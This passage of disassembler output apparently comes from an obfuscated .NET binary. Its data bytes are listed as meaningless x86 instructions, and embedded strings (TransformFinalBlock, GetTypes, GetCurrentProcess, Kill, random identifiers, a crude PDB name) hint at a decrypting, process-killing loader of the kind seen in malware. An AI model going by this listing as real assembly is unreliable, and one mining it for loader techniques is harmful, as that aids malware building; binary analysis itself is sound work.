407cb9:	50                   	push   %eax
407cba:	75 37                	jne    0x407cf3
407cbc:	44                   	inc    %esp
407cbd:	52                   	push   %edx
407cbe:	57                   	push   %edi
407cbf:	74 54                	je     0x407d15
407cc1:	00 54 72 61          	add    %dl,0x61(%edx,%esi,2)
407cc5:	6e                   	outsb  %ds:(%esi),(%dx)
407cc6:	73 66                	jae    0x407d2e
407cc8:	6f                   	outsl  %ds:(%esi),(%dx)
407cc9:	72 6d                	jb     0x407d38
407ccb:	46                   	inc    %esi
407ccc:	69 6e 61 6c 42 6c 6f 	imul   $0x6f6c426c,0x61(%esi),%ebp
407cd3:	63 6b 00             	arpl   %ebp,0x0(%ebx)
407cd6:	4e                   	dec    %esi
407cd7:	73 68                	jae    0x407d41
407cd9:	6b 51 6d 72          	imul   $0x72,0x6d(%ecx),%edx
407cdd:	43                   	inc    %ebx
407cde:	5a                   	pop    %edx
407cdf:	56                   	push   %esi
407ce0:	33 52 6e             	xor    0x6e(%edx),%edx
407ce3:	36 34 57             	ss xor $0x57,%al
407ce6:	37                   	aaa
407ce7:	31 00                	xor    %eax,(%eax)
407ce9:	47                   	inc    %edi
407cea:	65 74 54             	gs je  0x407d41
407ced:	79 70                	jns    0x407d5f
407cef:	65 73 00             	gs jae 0x407cf2
407cf2:	4f                   	dec    %edi
407cf3:	6e                   	outsb  %ds:(%esi),(%dx)
407cf4:	39 42 76             	cmp    %eax,0x76(%edx)
407cf7:	68 35 49 42 70       	push   $0x70424935
407cfc:	75 54                	jne    0x407d52
407cfe:	73 78                	jae    0x407d78
407d00:	47                   	inc    %edi
407d01:	6a 4e                	push   $0x4e
407d03:	58                   	pop    %eax
407d04:	00 4d 65             	add    %cl,0x65(%ebp)
407d07:	6d                   	insl   (%dx),%es:(%edi)
407d08:	62 65 72             	bound  %esp,0x72(%ebp)
407d0b:	49                   	dec    %ecx
407d0c:	6e                   	outsb  %ds:(%esi),(%dx)
407d0d:	66 6f                	outsw  %ds:(%esi),(%dx)
407d0f:	00 67 65             	add    %ah,0x65(%edi)
407d12:	74 5f                	je     0x407d73
407d14:	4e                   	dec    %esi
407d15:	61                   	popa
407d16:	6d                   	insl   (%dx),%es:(%edi)
407d17:	65 00 49 76          	add    %cl,%gs:0x76(%ecx)
407d1b:	59                   	pop    %ecx
407d1c:	66 56                	push   %si
407d1e:	35 6e 6f 62 4e       	xor    $0x4e626f6e,%eax
407d23:	67 4e                	addr16 dec %esi
407d25:	31 54 57 38          	xor    %edx,0x38(%edi,%edx,2)
407d29:	37                   	aaa
407d2a:	79 00                	jns    0x407d2c
407d2c:	6f                   	outsl  %ds:(%esi),(%dx)
407d2d:	70 5f                	jo     0x407d8e
407d2f:	45                   	inc    %ebp
407d30:	71 75                	jno    0x407da7
407d32:	61                   	popa
407d33:	6c                   	insb   (%dx),%es:(%edi)
407d34:	69 74 79 00 73 6e 6d 	imul   $0x4e6d6e73,0x0(%ecx,%edi,2),%esi
407d3b:	4e
407d3c:	63 55 77             	arpl   %edx,0x77(%ebp)
407d3f:	77 69                	ja     0x407daa
407d41:	69 4f 34 34 62 66 38 	imul   $0x38666234,0x34(%edi),%ecx
407d48:	49                   	dec    %ecx
407d49:	6b 00 50             	imul   $0x50,(%eax),%eax
407d4c:	72 6f                	jb     0x407dbd
407d4e:	63 65 73             	arpl   %esp,0x73(%ebp)
407d51:	73 00                	jae    0x407d53
407d53:	47                   	inc    %edi
407d54:	65 74 43             	gs je  0x407d9a
407d57:	75 72                	jne    0x407dcb
407d59:	72 65                	jb     0x407dc0
407d5b:	6e                   	outsb  %ds:(%esi),(%dx)
407d5c:	74 50                	je     0x407dae
407d5e:	72 6f                	jb     0x407dcf
407d60:	63 65 73             	arpl   %esp,0x73(%ebp)
407d63:	73 00                	jae    0x407d65
407d65:	58                   	pop    %eax
407d66:	77 32                	ja     0x407d9a
407d68:	45                   	inc    %ebp
407d69:	76 66                	jbe    0x407dd1
407d6b:	54                   	push   %esp
407d6c:	44                   	inc    %esp
407d6d:	37                   	aaa
407d6e:	39 69 33             	cmp    %ebp,0x33(%ecx)
407d71:	78 30                	js     0x407da3
407d73:	65 72 41             	gs jb  0x407db7
407d76:	31 00                	xor    %eax,(%eax)
407d78:	4b                   	dec    %ebx
407d79:	69 6c 6c 00 55 50 65 	imul   $0x32655055,0x0(%esp,%ebp,2),%ebp
407d80:	32
407d81:	48                   	dec    %eax
407d82:	45                   	inc    %ebp
407d83:	65 52                	gs push %edx
407d85:	41                   	inc    %ecx
407d86:	30 4d 55             	xor    %cl,0x55(%ebp)
407d89:	46                   	inc    %esi
407d8a:	46                   	inc    %esi
407d8b:	49                   	dec    %ecx
407d8c:	66 46                	inc    %si
407d8e:	66 00 00             	data16 add %al,(%eax)
407d91:	00 00                	add    %al,(%eax)
407d93:	03 58 00             	add    0x0(%eax),%ebx
407d96:	00 00                	add    %al,(%eax)
407d98:	00 00                	add    %al,(%eax)
407d9a:	e8 ca b2 d8 a6       	call   0xa7193069
407d9f:	c1 9f 44 9a ed 24 f8 	rcrl   $0xf8,0x24ed9a44(%edi)
407da6:	9b                   	fwait
407da7:	2d b9 d9 00 08       	sub    $0x800d9b9,%eax
407dac:	01 00                	add    %eax,(%eax)
407dae:	08 00                	or     %al,(%eax)
407db0:	00 00                	add    %al,(%eax)
407db2:	00 00                	add    %al,(%eax)
407db4:	08 b7 7a 5c 56 19    	or     %dh,0x19565c7a(%edi)
407dba:	34 e0                	xor    $0xe0,%al
407dbc:	89 04 20             	mov    %eax,(%eax,%eiz,1)
407dbf:	01 01                	add    %eax,(%ecx)
407dc1:	08 1e                	or     %bl,(%esi)
407dc3:	01 00                	add    %eax,(%eax)
407dc5:	01 00                	add    %eax,(%eax)
407dc7:	54                   	push   %esp
407dc8:	02 16                	add    (%esi),%dl
407dca:	57                   	push   %edi
407dcb:	72 61                	jb     0x407e2e
407dcd:	70 4e                	jo     0x407e1d
407dcf:	6f                   	outsl  %ds:(%esi),(%dx)
407dd0:	6e                   	outsb  %ds:(%esi),(%dx)
407dd1:	45                   	inc    %ebp
407dd2:	78 63                	js     0x407e37
407dd4:	65 70 74             	gs jo  0x407e4b
407dd7:	69 6f 6e 54 68 72 6f 	imul   $0x6f726854,0x6e(%edi),%ebp
407dde:	77 73                	ja     0x407e53
407de0:	01 03                	add    %eax,(%ebx)
407de2:	20 00                	and    %al,(%eax)
407de4:	01 08                	add    %ecx,(%eax)
407de6:	01 00                	add    %eax,(%eax)
407de8:	07                   	pop    %es
407de9:	01 00                	add    %eax,(%eax)
407deb:	00 00                	add    %al,(%eax)
407ded:	00 05 20 01 01 11    	add    %al,0x11010120
407df3:	1d 05 01 00 00       	sbb    $0x105,%eax
407df8:	00 00                	add    %al,(%eax)
407dfa:	04 20                	add    $0x20,%al
407dfc:	01 01                	add    %eax,(%ecx)
407dfe:	02 29                	add    (%ecx),%ch
407e00:	01 00                	add    %eax,(%eax)
407e02:	24 39                	and    $0x39,%al
407e04:	34 66                	xor    $0x66,%al
407e06:	66 65 35 39 33       	gs xor $0x3339,%ax
407e0b:	2d 37 35 35 38       	sub    $0x38353537,%eax
407e10:	2d 34 63 63 31       	sub    $0x31636334,%eax
407e15:	2d 61 63 64 36       	sub    $0x36646361,%eax
407e1a:	2d 37 61 38 61       	sub    $0x61386137,%eax
407e1f:	38 34 63             	cmp    %dh,(%ebx,%eiz,2)
407e22:	35 66 34 39 66       	xor    $0x66393466,%eax
407e27:	00 00                	add    %al,(%eax)
407e29:	04 20                	add    $0x20,%al
407e2b:	01 01                	add    %eax,(%ecx)
407e2d:	0e                   	push   %cs
407e2e:	0c 01                	or     $0x1,%al
407e30:	00 07                	add    %al,(%edi)
407e32:	31 2e                	xor    %ebp,(%esi)
407e34:	30 2e                	xor    %ch,(%esi)
407e36:	30 2e                	xor    %ch,(%esi)
407e38:	30 00                	xor    %al,(%eax)
407e3a:	00 47 01             	add    %al,0x1(%edi)
407e3d:	00 1a                	add    %bl,(%edx)
407e3f:	2e 4e                	cs dec %esi
407e41:	45                   	inc    %ebp
407e42:	54                   	push   %esp
407e43:	46                   	inc    %esi
407e44:	72 61                	jb     0x407ea7
407e46:	6d                   	insl   (%dx),%es:(%edi)
407e47:	65 77 6f             	gs ja  0x407eb9
407e4a:	72 6b                	jb     0x407eb7
407e4c:	2c 56                	sub    $0x56,%al
407e4e:	65 72 73             	gs jb  0x407ec4
407e51:	69 6f 6e 3d 76 34 2e 	imul   $0x2e34763d,0x6e(%edi),%ebp
407e58:	30 01                	xor    %al,(%ecx)
407e5a:	00 54 0e 14          	add    %dl,0x14(%esi,%ecx,1)
407e5e:	46                   	inc    %esi
407e5f:	72 61                	jb     0x407ec2
407e61:	6d                   	insl   (%dx),%es:(%edi)
407e62:	65 77 6f             	gs ja  0x407ed4
407e65:	72 6b                	jb     0x407ed2
407e67:	44                   	inc    %esp
407e68:	69 73 70 6c 61 79 4e 	imul   $0x4e79616c,0x70(%ebx),%esi
407e6f:	61                   	popa
407e70:	6d                   	insl   (%dx),%es:(%edi)
407e71:	65 10 2e             	adc    %ch,%gs:(%esi)
407e74:	4e                   	dec    %esi
407e75:	45                   	inc    %ebp
407e76:	54                   	push   %esp
407e77:	20 46 72             	and    %al,0x72(%esi)
407e7a:	61                   	popa
407e7b:	6d                   	insl   (%dx),%es:(%edi)
407e7c:	65 77 6f             	gs ja  0x407eee
407e7f:	72 6b                	jb     0x407eec
407e81:	20 34 08             	and    %dh,(%eax,%ecx,1)
407e84:	00 02                	add    %al,(%edx)
407e86:	12 39                	adc    (%ecx),%bh
407e88:	1d 05 1d 05 04       	sbb    $0x4051d05,%eax
407e8d:	07                   	pop    %es
407e8e:	01 12                	add    %edx,(%edx)
407e90:	39 08                	cmp    %ecx,(%eax)
407e92:	00 02                	add    %al,(%edx)
407e94:	1d 05 1d 05 1d       	sbb    $0x1d051d05,%eax
407e99:	05 09 07 04 12       	add    $0x12040709,%eax
407e9e:	41                   	inc    %ecx
407e9f:	1d 05 1d 05 08       	sbb    $0x8051d05,%eax
407ea4:	05 00 01 01 12       	add    $0x12010100,%eax
407ea9:	39 0a                	cmp    %ecx,(%edx)
407eab:	07                   	pop    %es
407eac:	05 1d 12 45 08       	add    $0x845121d,%eax
407eb1:	12 45 02             	adc    0x2(%ebp),%al
407eb4:	08 0b                	or     %cl,(%ebx)
407eb6:	20 05 1c 0e 11 49    	and    %al,0x49110e1c
407ebc:	12 4d 1c             	adc    0x1c(%ebp),%cl
407ebf:	1d 1c 05 00 02       	sbb    $0x200051c,%eax
407ec4:	1c 1c                	sbb    $0x1c,%al
407ec6:	1c 04                	sbb    $0x4,%al
407ec8:	00 01                	add    %al,(%ecx)
407eca:	1c 1c                	sbb    $0x1c,%al
407ecc:	06                   	push   %es
407ecd:	00 01                	add    %al,(%ecx)
407ecf:	12 39                	adc    (%ecx),%bh
407ed1:	1d 05 03 00 00       	sbb    $0x305,%eax
407ed6:	02 05 00 02 01 1c    	add    0x1c010200,%al
407edc:	08 05 00 02 01 1c    	or     %al,0x1c010200
407ee2:	1c 05                	sbb    $0x5,%al
407ee4:	20 01                	and    %al,(%ecx)
407ee6:	01 1d 05 06 00 02    	add    %ebx,0x2000605
407eec:	01 1c 11             	add    %ebx,(%ecx,%edx,1)
407eef:	55                   	push   %ebp
407ef0:	05 20 01 01 11       	add    $0x11010120,%eax
407ef5:	55                   	push   %ebp
407ef6:	04 20                	add    $0x20,%al
407ef8:	00 12                	add    %dl,(%edx)
407efa:	59                   	pop    %ecx
407efb:	07                   	pop    %es
407efc:	00 04 1c             	add    %al,(%esp,%ebx,1)
407eff:	1c 1c                	sbb    $0x1c,%al
407f01:	08 08                	or     %cl,(%eax)
407f03:	08 20                	or     %ah,(%eax)
407f05:	03 1d 05 1d 05 08    	add    0x8051d05,%ebx
407f0b:	08 05 20 00 1d 12    	or     %al,0x121d0020
407f11:	45                   	inc    %ebp
407f12:	03 20                	add    (%eax),%esp
407f14:	00 0e                	add    %cl,(%esi)
407f16:	05 00 02 02 1c       	add    $0x1c020200,%eax
407f1b:	1c 05                	sbb    $0x5,%al
407f1d:	00 02                	add    %al,(%edx)
407f1f:	02 0e                	add    (%esi),%cl
407f21:	0e                   	push   %cs
407f22:	03 00                	add    (%eax),%eax
407f24:	00 1c 04             	add    %bl,(%esp,%eax,1)
407f27:	00 00                	add    %al,(%eax)
407f29:	12 61 04             	adc    0x4(%ecx),%ah
407f2c:	00 01                	add    %al,(%ecx)
407f2e:	01 1c 26             	add    %ebx,(%esi,%eiz,1)
407f31:	01 00                	add    %eax,(%eax)
407f33:	a7                   	cmpsl  %es:(%edi),%ds:(%esi)
407f34:	39 d6                	cmp    %edx,%esi
407f36:	57                   	push   %edi
407f37:	22 65 55             	and    0x55(%ebp),%ah
407f3a:	7b 54                	jnp    0x407f90
407f3c:	0d cb 60 83 94       	or     $0x948360cb,%eax
407f41:	af                   	scas   %es:(%edi),%eax
407f42:	89 e4                	mov    %esp,%esp
407f44:	df 79 31             	fistpll 0x31(%ecx)
407f47:	f3 67 40             	repz addr16 inc %eax
407f4a:	ce                   	into
407f4b:	d7                   	xlat   %ds:(%ebx)
407f4c:	30 fb                	xor    %bh,%bl
407f4e:	1d b9 0d 83 c3       	sbb    $0xc3830db9,%eax
407f53:	bc bc 79 f2 00       	mov    $0xf279bc,%esp
407f64:	00 00                	add    %al,(%eax)
407f66:	02 00                	add    (%eax),%al
407f68:	00 00                	add    %al,(%eax)
407f6a:	2e 00 00             	add    %al,%cs:(%eax)
407f6d:	00 7c 2d 00          	add    %bh,0x0(%ebp,%ebp,1)
407f71:	00 7c 0f 00          	add    %bh,0x0(%edi,%ecx,1)
407f75:	00 52 53             	add    %dl,0x53(%edx)
407f78:	44                   	inc    %esp
407f79:	53                   	push   %ebx
407f7a:	ad                   	lods   %ds:(%esi),%eax
407f7b:	a5                   	movsl  %ds:(%esi),%es:(%edi)
407f7c:	a1 92 08 bc 8d       	mov    0x8dbc0892,%eax
407f81:	46                   	inc    %esi
407f82:	9e                   	sahf
407f83:	83 98 ac 99 85 a3 83 	sbbl   $0xffffff83,-0x5c7a6654(%eax)
407f8a:	01 00                	add    %eax,(%eax)
407f8c:	00 00                	add    %al,(%eax)
407f8e:	53                   	push   %ebx
407f8f:	68 75 74 75 70       	push   $0x70757475
407f94:	5f                   	pop    %edi
407f95:	41                   	inc    %ecx
407f96:	6e                   	outsb  %ds:(%esi),(%dx)
407f97:	64 5f                	fs pop %edi
407f99:	46                   	inc    %esi
407f9a:	75 63                	jne    0x407fff
407f9c:	6b 6f 66 2e          	imul   $0x2e,0x66(%edi),%ebp
407fa0:	70 64                	jo     0x408006
407fa2:	62 00                	bound  %eax,(%eax)
407fa4:	00 00                	add    %al,(%eax)
407fa6:	00 00                	add    %al,(%eax)
407fa8:	00 00                	add    %al,(%eax)
407faa:	d8 2d 00 00 00 00    	fsubrs 0x0
407fb0:	00 00                	add    %al,(%eax)
407fb2:	00 00                	add    %al,(%eax)
407fb4:	00 00                	add    %al,(%eax)
407fb6:	ee                   	out    %al,(%dx)
407fb7:	2d 00 00 00 20       	sub    $0x20000000,%eax
407fd0:	00 00                	add    %al,(%eax)
407fd2:	e0 2d                	loopne 0x408001
407fdc:	5f                   	pop    %edi
407fdd:	43                   	inc    %ebx
407fde:	6f                   	outsl  %ds:(%esi),(%dx)
407fdf:	72 44                	jb     0x408025
407fe1:	6c                   	insb   (%dx),%es:(%edi)
407fe2:	6c                   	insb   (%dx),%es:(%edi)
407fe3:	4d                   	dec    %ebp
407fe4:	61                   	popa
407fe5:	69 6e 00 6d 73 63 6f 	imul   $0x6f63736d,0x0(%esi),%ebp
407fec:	72 65                	jb     0x408053
407fee:	65 2e 64 6c          	gs cs fs insb (%dx),%es:(%edi)
407ff2:	6c                   	insb   (%dx),%es:(%edi)
407ff3:	00 00                	add    %al,(%eax)
407ff5:	00 00                	add    %al,(%eax)
407ff7:	00 ff                	add    %bh,%bh
407ff9:	25 00 20 40 00       	and    $0x402000,%eax
408206:	00 00                	add    %al,(%eax)
408208:	01 00                	add    %eax,(%eax)
40820a:	10 00                	adc    %al,(%eax)
40820c:	00 00                	add    %al,(%eax)
40820e:	18 00                	sbb    %al,(%eax)
408210:	00 80 00 00 00 00    	add    %al,0x0(%eax)
40821e:	00 00                	add    %al,(%eax)
408220:	01 00                	add    %eax,(%eax)
408222:	01 00                	add    %eax,(%eax)
408224:	00 00                	add    %al,(%eax)
408226:	30 00                	xor    %al,(%eax)
408228:	00 80 00 00 00 00    	add    %al,0x0(%eax)
408236:	00 00                	add    %al,(%eax)
408238:	01 00                	add    %eax,(%eax)
40823a:	00 00                	add    %al,(%eax)